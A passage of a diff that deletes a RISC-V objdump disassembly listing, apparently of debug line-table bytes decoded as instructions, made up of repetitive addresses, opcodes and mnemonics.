-    38c2:	0501                	addi	a0,a0,0
-    38c4:	0606                	slli	a2,a2,0x1
-    38c6:	00090003          	lb	zero,0(s2)
-    38ca:	0100                	addi	s0,sp,128
-    38cc:	0305                	addi	t1,t1,1
-    38ce:	0306                	slli	t1,t1,0x1
-    38d0:	0901                	addi	s2,s2,0
-    38d2:	0002                	c.slli64	zero
-    38d4:	0301                	addi	t1,t1,0
-    38d6:	0901                	addi	s2,s2,0
-    38d8:	0000                	unimp
-    38da:	0501                	addi	a0,a0,0
-    38dc:	0606                	slli	a2,a2,0x1
-    38de:	00090003          	lb	zero,0(s2)
-    38e2:	0100                	addi	s0,sp,128
-    38e4:	0305                	addi	t1,t1,1
-    38e6:	0306                	slli	t1,t1,0x1
-    38e8:	0925                	addi	s2,s2,9
-    38ea:	0002                	c.slli64	zero
-    38ec:	0501                	addi	a0,a0,0
-    38ee:	0606                	slli	a2,a2,0x1
-    38f0:	00090003          	lb	zero,0(s2)
-    38f4:	0100                	addi	s0,sp,128
-    38f6:	0705                	addi	a4,a4,1
-    38f8:	0306                	slli	t1,t1,0x1
-    38fa:	0902                	c.slli64	s2
-    38fc:	0004                	0x4
-    38fe:	0501                	addi	a0,a0,0
-    3900:	060a                	slli	a2,a2,0x2
-    3902:	08090003          	lb	zero,128(s2)
-    3906:	0100                	addi	s0,sp,128
-    3908:	0405                	addi	s0,s0,1
-    390a:	0306                	slli	t1,t1,0x1
-    390c:	0904                	addi	s1,sp,144
-    390e:	0004                	0x4
-    3910:	0301                	addi	t1,t1,0
-    3912:	0900                	addi	s0,sp,144
-    3914:	0000                	unimp
-    3916:	0301                	addi	t1,t1,0
-    3918:	0900                	addi	s0,sp,144
-    391a:	0000                	unimp
-    391c:	0301                	addi	t1,t1,0
-    391e:	0900                	addi	s0,sp,144
-    3920:	0000                	unimp
-    3922:	0301                	addi	t1,t1,0
-    3924:	0900                	addi	s0,sp,144
-    3926:	0000                	unimp
-    3928:	0301                	addi	t1,t1,0
-    392a:	0900                	addi	s0,sp,144
-    392c:	0010                	0x10
-    392e:	0301                	addi	t1,t1,0
-    3930:	0900                	addi	s0,sp,144
-    3932:	0014                	0x14
-    3934:	0301                	addi	t1,t1,0
-    3936:	0902                	c.slli64	s2
-    3938:	0000                	unimp
-    393a:	0501                	addi	a0,a0,0
-    393c:	00030607          	0x30607
-    3940:	0009                	c.nop	2
-    3942:	0100                	addi	s0,sp,128
-    3944:	0805                	addi	a6,a6,1
-    3946:	0306                	slli	t1,t1,0x1
-    3948:	0905                	addi	s2,s2,1
-    394a:	0004                	0x4
-    394c:	0501                	addi	a0,a0,0
-    394e:	0611                	addi	a2,a2,4
-    3950:	00090103          	lb	sp,0(s2)
-    3954:	0100                	addi	s0,sp,128
-    3956:	1e05                	addi	t3,t3,-31
-    3958:	04090003          	lb	zero,64(s2)
-    395c:	0100                	addi	s0,sp,128
-    395e:	0b05                	addi	s6,s6,1
-    3960:	04097f03          	0x4097f03
-    3964:	0100                	addi	s0,sp,128
-    3966:	0805                	addi	a6,a6,1
-    3968:	0306                	slli	t1,t1,0x1
-    396a:	0901                	addi	s2,s2,0
-    396c:	0004                	0x4
-    396e:	0501                	addi	a0,a0,0
-    3970:	0003060b          	0x3060b
-    3974:	0009                	c.nop	2
-    3976:	0100                	addi	s0,sp,128
-    3978:	0805                	addi	a6,a6,1
-    397a:	0306                	slli	t1,t1,0x1
-    397c:	0901                	addi	s2,s2,0
-    397e:	0004                	0x4
-    3980:	0501                	addi	a0,a0,0
-    3982:	0003060b          	0x3060b
-    3986:	0009                	c.nop	2
-    3988:	0100                	addi	s0,sp,128
-    398a:	0405                	addi	s0,s0,1
-    398c:	0306                	slli	t1,t1,0x1
-    398e:	00040903          	lb	s2,0(s0)
-    3992:	0301                	addi	t1,t1,0
-    3994:	0900                	addi	s0,sp,144
-    3996:	0000                	unimp
-    3998:	0301                	addi	t1,t1,0
-    399a:	0900                	addi	s0,sp,144
-    399c:	0000                	unimp
-    399e:	0301                	addi	t1,t1,0
-    39a0:	0900                	addi	s0,sp,144
-    39a2:	0000                	unimp
-    39a4:	0301                	addi	t1,t1,0
-    39a6:	0900                	addi	s0,sp,144
-    39a8:	0004                	0x4
-    39aa:	0301                	addi	t1,t1,0
-    39ac:	0900                	addi	s0,sp,144
-    39ae:	000a                	c.slli	zero,0x2
-    39b0:	0301                	addi	t1,t1,0
-    39b2:	0900                	addi	s0,sp,144
-    39b4:	0000                	unimp
-    39b6:	0301                	addi	t1,t1,0
-    39b8:	0900                	addi	s0,sp,144
-    39ba:	0008                	0x8
-    39bc:	0301                	addi	t1,t1,0
-    39be:	0900                	addi	s0,sp,144
-    39c0:	0008                	0x8
-    39c2:	0301                	addi	t1,t1,0
-    39c4:	0900                	addi	s0,sp,144
-    39c6:	0000                	unimp
-    39c8:	0301                	addi	t1,t1,0
-    39ca:	0900                	addi	s0,sp,144
-    39cc:	0004                	0x4
-    39ce:	0301                	addi	t1,t1,0
-    39d0:	0900                	addi	s0,sp,144
-    39d2:	0002                	c.slli64	zero
-    39d4:	0301                	addi	t1,t1,0
-    39d6:	0900                	addi	s0,sp,144
-    39d8:	0004                	0x4
-    39da:	0301                	addi	t1,t1,0
-    39dc:	0900                	addi	s0,sp,144
-    39de:	0004                	0x4
-    39e0:	0301                	addi	t1,t1,0
-    39e2:	0900                	addi	s0,sp,144
-    39e4:	0002                	c.slli64	zero
-    39e6:	0301                	addi	t1,t1,0
-    39e8:	0900                	addi	s0,sp,144
-    39ea:	0002                	c.slli64	zero
-    39ec:	0301                	addi	t1,t1,0
-    39ee:	0900                	addi	s0,sp,144
-    39f0:	0004                	0x4
-    39f2:	0301                	addi	t1,t1,0
-    39f4:	0900                	addi	s0,sp,144
-    39f6:	0008                	0x8
-    39f8:	0301                	addi	t1,t1,0
-    39fa:	0900                	addi	s0,sp,144
-    39fc:	0008                	0x8
-    39fe:	0301                	addi	t1,t1,0
-    3a00:	0900                	addi	s0,sp,144
-    3a02:	0000                	unimp
-    3a04:	0301                	addi	t1,t1,0
-    3a06:	0900                	addi	s0,sp,144
-    3a08:	0004                	0x4
-    3a0a:	0301                	addi	t1,t1,0
-    3a0c:	0900                	addi	s0,sp,144
-    3a0e:	0002                	c.slli64	zero
-    3a10:	0301                	addi	t1,t1,0
-    3a12:	0900                	addi	s0,sp,144
-    3a14:	0004                	0x4
-    3a16:	0301                	addi	t1,t1,0
-    3a18:	0900                	addi	s0,sp,144
-    3a1a:	0004                	0x4
-    3a1c:	0301                	addi	t1,t1,0
-    3a1e:	0900                	addi	s0,sp,144
-    3a20:	0002                	c.slli64	zero
-    3a22:	0301                	addi	t1,t1,0
-    3a24:	0900                	addi	s0,sp,144
-    3a26:	0002                	c.slli64	zero
-    3a28:	0301                	addi	t1,t1,0
-    3a2a:	0900                	addi	s0,sp,144
-    3a2c:	0000                	unimp
-    3a2e:	0301                	addi	t1,t1,0
-    3a30:	0900                	addi	s0,sp,144
-    3a32:	0000                	unimp
-    3a34:	0301                	addi	t1,t1,0
-    3a36:	0901                	addi	s2,s2,0
-    3a38:	0000                	unimp
-    3a3a:	0301                	addi	t1,t1,0
-    3a3c:	0929                	addi	s2,s2,10
-    3a3e:	0000                	unimp
-    3a40:	0501                	addi	a0,a0,0
-    3a42:	09050307          	0x9050307
-    3a46:	0000                	unimp
-    3a48:	0501                	addi	a0,a0,0
-    3a4a:	0304                	addi	s1,sp,384
-    3a4c:	0902                	c.slli64	s2
-    3a4e:	0000                	unimp
-    3a50:	0501                	addi	a0,a0,0
-    3a52:	0612                	slli	a2,a2,0x4
-    3a54:	00090003          	lb	zero,0(s2)
-    3a58:	0100                	addi	s0,sp,128
-    3a5a:	0405                	addi	s0,s0,1
-    3a5c:	0306                	slli	t1,t1,0x1
-    3a5e:	0901                	addi	s2,s2,0
-    3a60:	0004                	0x4
-    3a62:	0301                	addi	t1,t1,0
-    3a64:	0901                	addi	s2,s2,0
-    3a66:	0000                	unimp
-    3a68:	0501                	addi	a0,a0,0
-    3a6a:	060c                	addi	a1,sp,768
-    3a6c:	00090003          	lb	zero,0(s2)
-    3a70:	0100                	addi	s0,sp,128
-    3a72:	0305                	addi	t1,t1,1
-    3a74:	0306                	slli	t1,t1,0x1
-    3a76:	00da                	slli	ra,ra,0x16
-    3a78:	0209                	addi	tp,tp,2
-    3a7a:	0100                	addi	s0,sp,128
-    3a7c:	00090103          	lb	sp,0(s2)
-    3a80:	0100                	addi	s0,sp,128
-    3a82:	0900d803          	lhu	a6,144(ra)
-    3a86:	0000                	unimp
-    3a88:	0501                	addi	a0,a0,0
-    3a8a:	0601                	addi	a2,a2,0
-    3a8c:	00090103          	lb	sp,0(s2)
-    3a90:	0100                	addi	s0,sp,128
-    3a92:	0405                	addi	s0,s0,1
-    3a94:	097e8d03          	lb	s10,151(t4)
-    3a98:	0002                	c.slli64	zero
-    3a9a:	0601                	addi	a2,a2,0
-    3a9c:	0e091503          	lh	a0,224(s2)
-    3aa0:	0100                	addi	s0,sp,128
-    3aa2:	0705                	addi	a4,a4,1
-    3aa4:	0306                	slli	t1,t1,0x1
-    3aa6:	0900                	addi	s0,sp,144
-    3aa8:	0000                	unimp
-    3aaa:	0501                	addi	a0,a0,0
-    3aac:	0606                	slli	a2,a2,0x1
-    3aae:	02090103          	lb	sp,32(s2)
-    3ab2:	0100                	addi	s0,sp,128
-    3ab4:	0905                	addi	s2,s2,1
-    3ab6:	0306                	slli	t1,t1,0x1
-    3ab8:	0900                	addi	s0,sp,144
-    3aba:	0000                	unimp
-    3abc:	0501                	addi	a0,a0,0
-    3abe:	0604                	addi	s1,sp,768
-    3ac0:	06090203          	lb	tp,96(s2)
-    3ac4:	0100                	addi	s0,sp,128
-    3ac6:	00090003          	lb	zero,0(s2)
-    3aca:	0100                	addi	s0,sp,128
-    3acc:	00090003          	lb	zero,0(s2)
-    3ad0:	0100                	addi	s0,sp,128
-    3ad2:	00090003          	lb	zero,0(s2)
-    3ad6:	0100                	addi	s0,sp,128
-    3ad8:	00090003          	lb	zero,0(s2)
-    3adc:	0100                	addi	s0,sp,128
-    3ade:	10090003          	lb	zero,256(s2)
-    3ae2:	0100                	addi	s0,sp,128
-    3ae4:	14090003          	lb	zero,320(s2)
-    3ae8:	0100                	addi	s0,sp,128
-    3aea:	00090203          	lb	tp,0(s2)
-    3aee:	0100                	addi	s0,sp,128
-    3af0:	0705                	addi	a4,a4,1
-    3af2:	0306                	slli	t1,t1,0x1
-    3af4:	0900                	addi	s0,sp,144
-    3af6:	0000                	unimp
-    3af8:	0501                	addi	a0,a0,0
-    3afa:	0608                	addi	a0,sp,768
-    3afc:	04090903          	lb	s2,64(s2)
-    3b00:	0100                	addi	s0,sp,128
-    3b02:	0b05                	addi	s6,s6,1
-    3b04:	0306                	slli	t1,t1,0x1
-    3b06:	0900                	addi	s0,sp,144
-    3b08:	0000                	unimp
-    3b0a:	0501                	addi	a0,a0,0
-    3b0c:	0608                	addi	a0,sp,768
-    3b0e:	04090103          	lb	sp,64(s2)
-    3b12:	0100                	addi	s0,sp,128
-    3b14:	00090d03          	lb	s10,0(s2)
-    3b18:	0100                	addi	s0,sp,128
-    3b1a:	0405                	addi	s0,s0,1
-    3b1c:	00090503          	lb	a0,0(s2)
-    3b20:	0100                	addi	s0,sp,128
-    3b22:	00090003          	lb	zero,0(s2)
-    3b26:	0100                	addi	s0,sp,128
-    3b28:	00090003          	lb	zero,0(s2)
-    3b2c:	0100                	addi	s0,sp,128
-    3b2e:	00090003          	lb	zero,0(s2)
-    3b32:	0100                	addi	s0,sp,128
-    3b34:	04090003          	lb	zero,64(s2)
-    3b38:	0100                	addi	s0,sp,128
-    3b3a:	06090003          	lb	zero,96(s2)
-    3b3e:	0100                	addi	s0,sp,128
-    3b40:	08090003          	lb	zero,128(s2)
-    3b44:	0100                	addi	s0,sp,128
-    3b46:	04090003          	lb	zero,64(s2)
-    3b4a:	0100                	addi	s0,sp,128
-    3b4c:	08090003          	lb	zero,128(s2)
-    3b50:	0100                	addi	s0,sp,128
-    3b52:	00090003          	lb	zero,0(s2)
-    3b56:	0100                	addi	s0,sp,128
-    3b58:	04090003          	lb	zero,64(s2)
-    3b5c:	0100                	addi	s0,sp,128
-    3b5e:	02090003          	lb	zero,32(s2)
-    3b62:	0100                	addi	s0,sp,128
-    3b64:	04090003          	lb	zero,64(s2)
-    3b68:	0100                	addi	s0,sp,128
-    3b6a:	04090003          	lb	zero,64(s2)
-    3b6e:	0100                	addi	s0,sp,128
-    3b70:	02090003          	lb	zero,32(s2)
-    3b74:	0100                	addi	s0,sp,128
-    3b76:	04090003          	lb	zero,64(s2)
-    3b7a:	0100                	addi	s0,sp,128
-    3b7c:	04090003          	lb	zero,64(s2)
-    3b80:	0100                	addi	s0,sp,128
-    3b82:	08090003          	lb	zero,128(s2)
-    3b86:	0100                	addi	s0,sp,128
-    3b88:	04090003          	lb	zero,64(s2)
-    3b8c:	0100                	addi	s0,sp,128
-    3b8e:	06090003          	lb	zero,96(s2)
-    3b92:	0100                	addi	s0,sp,128
-    3b94:	04090003          	lb	zero,64(s2)
-    3b98:	0100                	addi	s0,sp,128
-    3b9a:	02090003          	lb	zero,32(s2)
-    3b9e:	0100                	addi	s0,sp,128
-    3ba0:	04090003          	lb	zero,64(s2)
-    3ba4:	0100                	addi	s0,sp,128
-    3ba6:	04090003          	lb	zero,64(s2)
-    3baa:	0100                	addi	s0,sp,128
-    3bac:	02090003          	lb	zero,32(s2)
-    3bb0:	0100                	addi	s0,sp,128
-    3bb2:	02090003          	lb	zero,32(s2)
-    3bb6:	0100                	addi	s0,sp,128
-    3bb8:	00090003          	lb	zero,0(s2)
-    3bbc:	0100                	addi	s0,sp,128
-    3bbe:	0306                	slli	t1,t1,0x1
-    3bc0:	0962                	slli	s2,s2,0x18
-    3bc2:	0002                	c.slli64	zero
-    3bc4:	0501                	addi	a0,a0,0
-    3bc6:	0608                	addi	a0,sp,768
-    3bc8:	0e091203          	lh	tp,224(s2)
-    3bcc:	0100                	addi	s0,sp,128
-    3bce:	00090203          	lb	tp,0(s2)
-    3bd2:	0100                	addi	s0,sp,128
-    3bd4:	0b05                	addi	s6,s6,1
-    3bd6:	0306                	slli	t1,t1,0x1
-    3bd8:	0900                	addi	s0,sp,144
-    3bda:	0000                	unimp
-    3bdc:	0501                	addi	a0,a0,0
-    3bde:	0608                	addi	a0,sp,768
-    3be0:	04090103          	lb	sp,64(s2)
-    3be4:	0100                	addi	s0,sp,128
-    3be6:	0b05                	addi	s6,s6,1
-    3be8:	0306                	slli	t1,t1,0x1
-    3bea:	0900                	addi	s0,sp,144
-    3bec:	0000                	unimp
-    3bee:	0501                	addi	a0,a0,0
-    3bf0:	0608                	addi	a0,sp,768
-    3bf2:	04090103          	lb	sp,64(s2)
-    3bf6:	0100                	addi	s0,sp,128
-    3bf8:	0306                	slli	t1,t1,0x1
-    3bfa:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
-    3bfe:	0501                	addi	a0,a0,0
-    3c00:	0311                	addi	t1,t1,4
-    3c02:	097d                	addi	s2,s2,31
-    3c04:	0008                	0x8
-    3c06:	0501                	addi	a0,a0,0
-    3c08:	031e                	slli	t1,t1,0x7
-    3c0a:	0900                	addi	s0,sp,144
-    3c0c:	0004                	0x4
-    3c0e:	0501                	addi	a0,a0,0
-    3c10:	0900030b          	0x900030b
-    3c14:	0004                	0x4
-    3c16:	0501                	addi	a0,a0,0
-    3c18:	0608                	addi	a0,sp,768
-    3c1a:	02090103          	lb	sp,32(s2)
-    3c1e:	0100                	addi	s0,sp,128
-    3c20:	0306                	slli	t1,t1,0x1
-    3c22:	0902                	c.slli64	s2
-    3c24:	0000                	unimp
-    3c26:	0501                	addi	a0,a0,0
-    3c28:	097e030b          	0x97e030b
-    3c2c:	0006                	c.slli	zero,0x1
-    3c2e:	0501                	addi	a0,a0,0
-    3c30:	0608                	addi	a0,sp,768
-    3c32:	04090203          	lb	tp,64(s2)
-    3c36:	0100                	addi	s0,sp,128
-    3c38:	00090003          	lb	zero,0(s2)
-    3c3c:	0100                	addi	s0,sp,128
-    3c3e:	00090003          	lb	zero,0(s2)
-    3c42:	0100                	addi	s0,sp,128
-    3c44:	00090003          	lb	zero,0(s2)
-    3c48:	0100                	addi	s0,sp,128
-    3c4a:	00090003          	lb	zero,0(s2)
-    3c4e:	0100                	addi	s0,sp,128
-    3c50:	00090003          	lb	zero,0(s2)
-    3c54:	0100                	addi	s0,sp,128
-    3c56:	00090003          	lb	zero,0(s2)
-    3c5a:	0100                	addi	s0,sp,128
-    3c5c:	08090003          	lb	zero,128(s2)
-    3c60:	0100                	addi	s0,sp,128
-    3c62:	0a090003          	lb	zero,160(s2)
-    3c66:	0100                	addi	s0,sp,128
-    3c68:	00090003          	lb	zero,0(s2)
-    3c6c:	0100                	addi	s0,sp,128
-    3c6e:	04090003          	lb	zero,64(s2)
-    3c72:	0100                	addi	s0,sp,128
-    3c74:	02090003          	lb	zero,32(s2)
-    3c78:	0100                	addi	s0,sp,128
-    3c7a:	04090003          	lb	zero,64(s2)
-    3c7e:	0100                	addi	s0,sp,128
-    3c80:	04090003          	lb	zero,64(s2)
-    3c84:	0100                	addi	s0,sp,128
-    3c86:	02090003          	lb	zero,32(s2)
-    3c8a:	0100                	addi	s0,sp,128
-    3c8c:	04090003          	lb	zero,64(s2)
-    3c90:	0100                	addi	s0,sp,128
-    3c92:	04090003          	lb	zero,64(s2)
-    3c96:	0100                	addi	s0,sp,128
-    3c98:	08090003          	lb	zero,128(s2)
-    3c9c:	0100                	addi	s0,sp,128
-    3c9e:	06090003          	lb	zero,96(s2)
-    3ca2:	0100                	addi	s0,sp,128
-    3ca4:	04090003          	lb	zero,64(s2)
-    3ca8:	0100                	addi	s0,sp,128
-    3caa:	04090003          	lb	zero,64(s2)
-    3cae:	0100                	addi	s0,sp,128
-    3cb0:	02090003          	lb	zero,32(s2)
-    3cb4:	0100                	addi	s0,sp,128
-    3cb6:	04090003          	lb	zero,64(s2)
-    3cba:	0100                	addi	s0,sp,128
-    3cbc:	04090003          	lb	zero,64(s2)
-    3cc0:	0100                	addi	s0,sp,128
-    3cc2:	02090003          	lb	zero,32(s2)
-    3cc6:	0100                	addi	s0,sp,128
-    3cc8:	02090003          	lb	zero,32(s2)
-    3ccc:	0100                	addi	s0,sp,128
-    3cce:	00090003          	lb	zero,0(s2)
-    3cd2:	0100                	addi	s0,sp,128
-    3cd4:	0705                	addi	a4,a4,1
-    3cd6:	02091503          	lh	a0,32(s2)
-    3cda:	0100                	addi	s0,sp,128
-    3cdc:	0a05                	addi	s4,s4,1
-    3cde:	0306                	slli	t1,t1,0x1
-    3ce0:	0900                	addi	s0,sp,144
-    3ce2:	0000                	unimp
-    3ce4:	0501                	addi	a0,a0,0
-    3ce6:	0604                	addi	s1,sp,768
-    3ce8:	04091303          	lh	t1,64(s2)
-    3cec:	0100                	addi	s0,sp,128
-    3cee:	00090003          	lb	zero,0(s2)
-    3cf2:	0100                	addi	s0,sp,128
-    3cf4:	00090003          	lb	zero,0(s2)
-    3cf8:	0100                	addi	s0,sp,128
-    3cfa:	00090003          	lb	zero,0(s2)
-    3cfe:	0100                	addi	s0,sp,128
-    3d00:	00090003          	lb	zero,0(s2)
-    3d04:	0100                	addi	s0,sp,128
-    3d06:	10090003          	lb	zero,256(s2)
-    3d0a:	0100                	addi	s0,sp,128
-    3d0c:	1c090003          	lb	zero,448(s2)
-    3d10:	0100                	addi	s0,sp,128
-    3d12:	00090103          	lb	sp,0(s2)
-    3d16:	0100                	addi	s0,sp,128
-    3d18:	0705                	addi	a4,a4,1
-    3d1a:	0306                	slli	t1,t1,0x1
-    3d1c:	0900                	addi	s0,sp,144
-    3d1e:	0000                	unimp
-    3d20:	0501                	addi	a0,a0,0
-    3d22:	0608                	addi	a0,sp,768
-    3d24:	04090a03          	lb	s4,64(s2)
-    3d28:	0100                	addi	s0,sp,128
-    3d2a:	0b05                	addi	s6,s6,1
-    3d2c:	0306                	slli	t1,t1,0x1
-    3d2e:	0900                	addi	s0,sp,144
-    3d30:	0000                	unimp
-    3d32:	0501                	addi	a0,a0,0
-    3d34:	0314                	addi	a3,sp,384
-    3d36:	0900                	addi	s0,sp,144
-    3d38:	0004                	0x4
-    3d3a:	0501                	addi	a0,a0,0
-    3d3c:	0605                	addi	a2,a2,1
-    3d3e:	04090203          	lb	tp,64(s2)
-    3d42:	0100                	addi	s0,sp,128
-    3d44:	00090103          	lb	sp,0(s2)
-    3d48:	0100                	addi	s0,sp,128
-    3d4a:	00090003          	lb	zero,0(s2)
-    3d4e:	0100                	addi	s0,sp,128
-    3d50:	00090003          	lb	zero,0(s2)
-    3d54:	0100                	addi	s0,sp,128
-    3d56:	04090003          	lb	zero,64(s2)
-    3d5a:	0100                	addi	s0,sp,128
-    3d5c:	0a090003          	lb	zero,160(s2)
-    3d60:	0100                	addi	s0,sp,128
-    3d62:	00090003          	lb	zero,0(s2)
-    3d66:	0100                	addi	s0,sp,128
-    3d68:	0805                	addi	a6,a6,1
-    3d6a:	00090503          	lb	a0,0(s2)
-    3d6e:	0100                	addi	s0,sp,128
-    3d70:	00090203          	lb	tp,0(s2)
-    3d74:	0100                	addi	s0,sp,128
-    3d76:	0505                	addi	a0,a0,1
-    3d78:	00090203          	lb	tp,0(s2)
-    3d7c:	0100                	addi	s0,sp,128
-    3d7e:	00090103          	lb	sp,0(s2)
-    3d82:	0100                	addi	s0,sp,128
-    3d84:	00090103          	lb	sp,0(s2)
-    3d88:	0100                	addi	s0,sp,128
-    3d8a:	0d05                	addi	s10,s10,1
-    3d8c:	0306                	slli	t1,t1,0x1
-    3d8e:	0900                	addi	s0,sp,144
-    3d90:	0000                	unimp
-    3d92:	0501                	addi	a0,a0,0
-    3d94:	0304                	addi	s1,sp,384
-    3d96:	00040967          	jalr	s2,s0
-    3d9a:	0501                	addi	a0,a0,0
-    3d9c:	0608                	addi	a0,sp,768
-    3d9e:	0e091e03          	lh	t3,224(s2)
-    3da2:	0100                	addi	s0,sp,128
-    3da4:	00090303          	lb	t1,0(s2)
-    3da8:	0100                	addi	s0,sp,128
-    3daa:	00090203          	lb	tp,0(s2)
-    3dae:	0100                	addi	s0,sp,128
-    3db0:	1e05                	addi	t3,t3,-31
-    3db2:	0306                	slli	t1,t1,0x1
-    3db4:	0900                	addi	s0,sp,144
-    3db6:	0000                	unimp
-    3db8:	0501                	addi	a0,a0,0
-    3dba:	0311                	addi	t1,t1,4
-    3dbc:	0900                	addi	s0,sp,144
-    3dbe:	0004                	0x4
-    3dc0:	0501                	addi	a0,a0,0
-    3dc2:	0900030b          	0x900030b
-    3dc6:	0004                	0x4
-    3dc8:	0501                	addi	a0,a0,0
-    3dca:	0608                	addi	a0,sp,768
-    3dcc:	04090103          	lb	sp,64(s2)
-    3dd0:	0100                	addi	s0,sp,128
-    3dd2:	0b05                	addi	s6,s6,1
-    3dd4:	0306                	slli	t1,t1,0x1
-    3dd6:	0901                	addi	s2,s2,0
-    3dd8:	0000                	unimp
-    3dda:	0501                	addi	a0,a0,0
-    3ddc:	0308                	addi	a0,sp,384
-    3dde:	0904                	addi	s1,sp,144
-    3de0:	0004                	0x4
-    3de2:	0501                	addi	a0,a0,0
-    3de4:	097b030b          	0x97b030b
-    3de8:	0004                	0x4
-    3dea:	0501                	addi	a0,a0,0
-    3dec:	0608                	addi	a0,sp,768
-    3dee:	04090103          	lb	sp,64(s2)
-    3df2:	0100                	addi	s0,sp,128
-    3df4:	00090103          	lb	sp,0(s2)
-    3df8:	0100                	addi	s0,sp,128
-    3dfa:	0306                	slli	t1,t1,0x1
-    3dfc:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
-    3e00:	0501                	addi	a0,a0,0
-    3e02:	0311                	addi	t1,t1,4
-    3e04:	097d                	addi	s2,s2,31
-    3e06:	0004                	0x4
-    3e08:	0501                	addi	a0,a0,0
-    3e0a:	031e                	slli	t1,t1,0x7
-    3e0c:	0900                	addi	s0,sp,144
-    3e0e:	0004                	0x4
-    3e10:	0501                	addi	a0,a0,0
-    3e12:	0900030b          	0x900030b
-    3e16:	0004                	0x4
-    3e18:	0501                	addi	a0,a0,0
-    3e1a:	0608                	addi	a0,sp,768
-    3e1c:	02090103          	lb	sp,32(s2)
-    3e20:	0100                	addi	s0,sp,128
-    3e22:	0306                	slli	t1,t1,0x1
-    3e24:	0902                	c.slli64	s2
-    3e26:	0000                	unimp
-    3e28:	0501                	addi	a0,a0,0
-    3e2a:	097e030b          	0x97e030b
-    3e2e:	0006                	c.slli	zero,0x1
-    3e30:	0501                	addi	a0,a0,0
-    3e32:	0608                	addi	a0,sp,768
-    3e34:	04090203          	lb	tp,64(s2)
-    3e38:	0100                	addi	s0,sp,128
-    3e3a:	00090003          	lb	zero,0(s2)
-    3e3e:	0100                	addi	s0,sp,128
-    3e40:	00090003          	lb	zero,0(s2)
-    3e44:	0100                	addi	s0,sp,128
-    3e46:	00090003          	lb	zero,0(s2)
-    3e4a:	0100                	addi	s0,sp,128
-    3e4c:	00090003          	lb	zero,0(s2)
-    3e50:	0100                	addi	s0,sp,128
-    3e52:	00090003          	lb	zero,0(s2)
-    3e56:	0100                	addi	s0,sp,128
-    3e58:	00090003          	lb	zero,0(s2)
-    3e5c:	0100                	addi	s0,sp,128
-    3e5e:	08090003          	lb	zero,128(s2)
-    3e62:	0100                	addi	s0,sp,128
-    3e64:	08090003          	lb	zero,128(s2)
-    3e68:	0100                	addi	s0,sp,128
-    3e6a:	00090003          	lb	zero,0(s2)
-    3e6e:	0100                	addi	s0,sp,128
-    3e70:	06090003          	lb	zero,96(s2)
-    3e74:	0100                	addi	s0,sp,128
-    3e76:	06090003          	lb	zero,96(s2)
-    3e7a:	0100                	addi	s0,sp,128
-    3e7c:	04090003          	lb	zero,64(s2)
-    3e80:	0100                	addi	s0,sp,128
-    3e82:	04090003          	lb	zero,64(s2)
-    3e86:	0100                	addi	s0,sp,128
-    3e88:	06090003          	lb	zero,96(s2)
-    3e8c:	0100                	addi	s0,sp,128
-    3e8e:	04090003          	lb	zero,64(s2)
-    3e92:	0100                	addi	s0,sp,128
-    3e94:	04090003          	lb	zero,64(s2)
-    3e98:	0100                	addi	s0,sp,128
-    3e9a:	04090003          	lb	zero,64(s2)
-    3e9e:	0100                	addi	s0,sp,128
-    3ea0:	06090003          	lb	zero,96(s2)
-    3ea4:	0100                	addi	s0,sp,128
-    3ea6:	0a090003          	lb	zero,160(s2)
-    3eaa:	0100                	addi	s0,sp,128
-    3eac:	06090003          	lb	zero,96(s2)
-    3eb0:	0100                	addi	s0,sp,128
-    3eb2:	06090003          	lb	zero,96(s2)
-    3eb6:	0100                	addi	s0,sp,128
-    3eb8:	04090003          	lb	zero,64(s2)
-    3ebc:	0100                	addi	s0,sp,128
-    3ebe:	04090003          	lb	zero,64(s2)
-    3ec2:	0100                	addi	s0,sp,128
-    3ec4:	06090003          	lb	zero,96(s2)
-    3ec8:	0100                	addi	s0,sp,128
-    3eca:	0306                	slli	t1,t1,0x1
-    3ecc:	0901                	addi	s2,s2,0
-    3ece:	0002                	c.slli64	zero
-    3ed0:	0301                	addi	t1,t1,0
-    3ed2:	097f                	0x97f
-    3ed4:	0002                	c.slli64	zero
-    3ed6:	0301                	addi	t1,t1,0
-    3ed8:	0901                	addi	s2,s2,0
-    3eda:	0002                	c.slli64	zero
-    3edc:	0301                	addi	t1,t1,0
-    3ede:	097f                	0x97f
-    3ee0:	0008                	0x8
-    3ee2:	0601                	addi	a2,a2,0
-    3ee4:	02090003          	lb	zero,32(s2)
-    3ee8:	0100                	addi	s0,sp,128
-    3eea:	00090003          	lb	zero,0(s2)
-    3eee:	0100                	addi	s0,sp,128
-    3ef0:	00090003          	lb	zero,0(s2)
-    3ef4:	0100                	addi	s0,sp,128
-    3ef6:	00090103          	lb	sp,0(s2)
-    3efa:	0100                	addi	s0,sp,128
-    3efc:	00090003          	lb	zero,0(s2)
-    3f00:	0100                	addi	s0,sp,128
-    3f02:	00090003          	lb	zero,0(s2)
-    3f06:	0100                	addi	s0,sp,128
-    3f08:	00090003          	lb	zero,0(s2)
-    3f0c:	0100                	addi	s0,sp,128
-    3f0e:	00090003          	lb	zero,0(s2)
-    3f12:	0100                	addi	s0,sp,128
-    3f14:	02090003          	lb	zero,32(s2)
-    3f18:	0100                	addi	s0,sp,128
-    3f1a:	08090003          	lb	zero,128(s2)
-    3f1e:	0100                	addi	s0,sp,128
-    3f20:	00090003          	lb	zero,0(s2)
-    3f24:	0100                	addi	s0,sp,128
-    3f26:	04090003          	lb	zero,64(s2)
-    3f2a:	0100                	addi	s0,sp,128
-    3f2c:	00090003          	lb	zero,0(s2)
-    3f30:	0100                	addi	s0,sp,128
-    3f32:	04090003          	lb	zero,64(s2)
-    3f36:	0100                	addi	s0,sp,128
-    3f38:	08090003          	lb	zero,128(s2)
-    3f3c:	0100                	addi	s0,sp,128
-    3f3e:	02090003          	lb	zero,32(s2)
-    3f42:	0100                	addi	s0,sp,128
-    3f44:	06090003          	lb	zero,96(s2)
-    3f48:	0100                	addi	s0,sp,128
-    3f4a:	04090003          	lb	zero,64(s2)
-    3f4e:	0100                	addi	s0,sp,128
-    3f50:	02090003          	lb	zero,32(s2)
-    3f54:	0100                	addi	s0,sp,128
-    3f56:	06090003          	lb	zero,96(s2)
-    3f5a:	0100                	addi	s0,sp,128
-    3f5c:	0c090003          	lb	zero,192(s2)
-    3f60:	0100                	addi	s0,sp,128
-    3f62:	00090203          	lb	tp,0(s2)
-    3f66:	0100                	addi	s0,sp,128
-    3f68:	0b05                	addi	s6,s6,1
-    3f6a:	0306                	slli	t1,t1,0x1
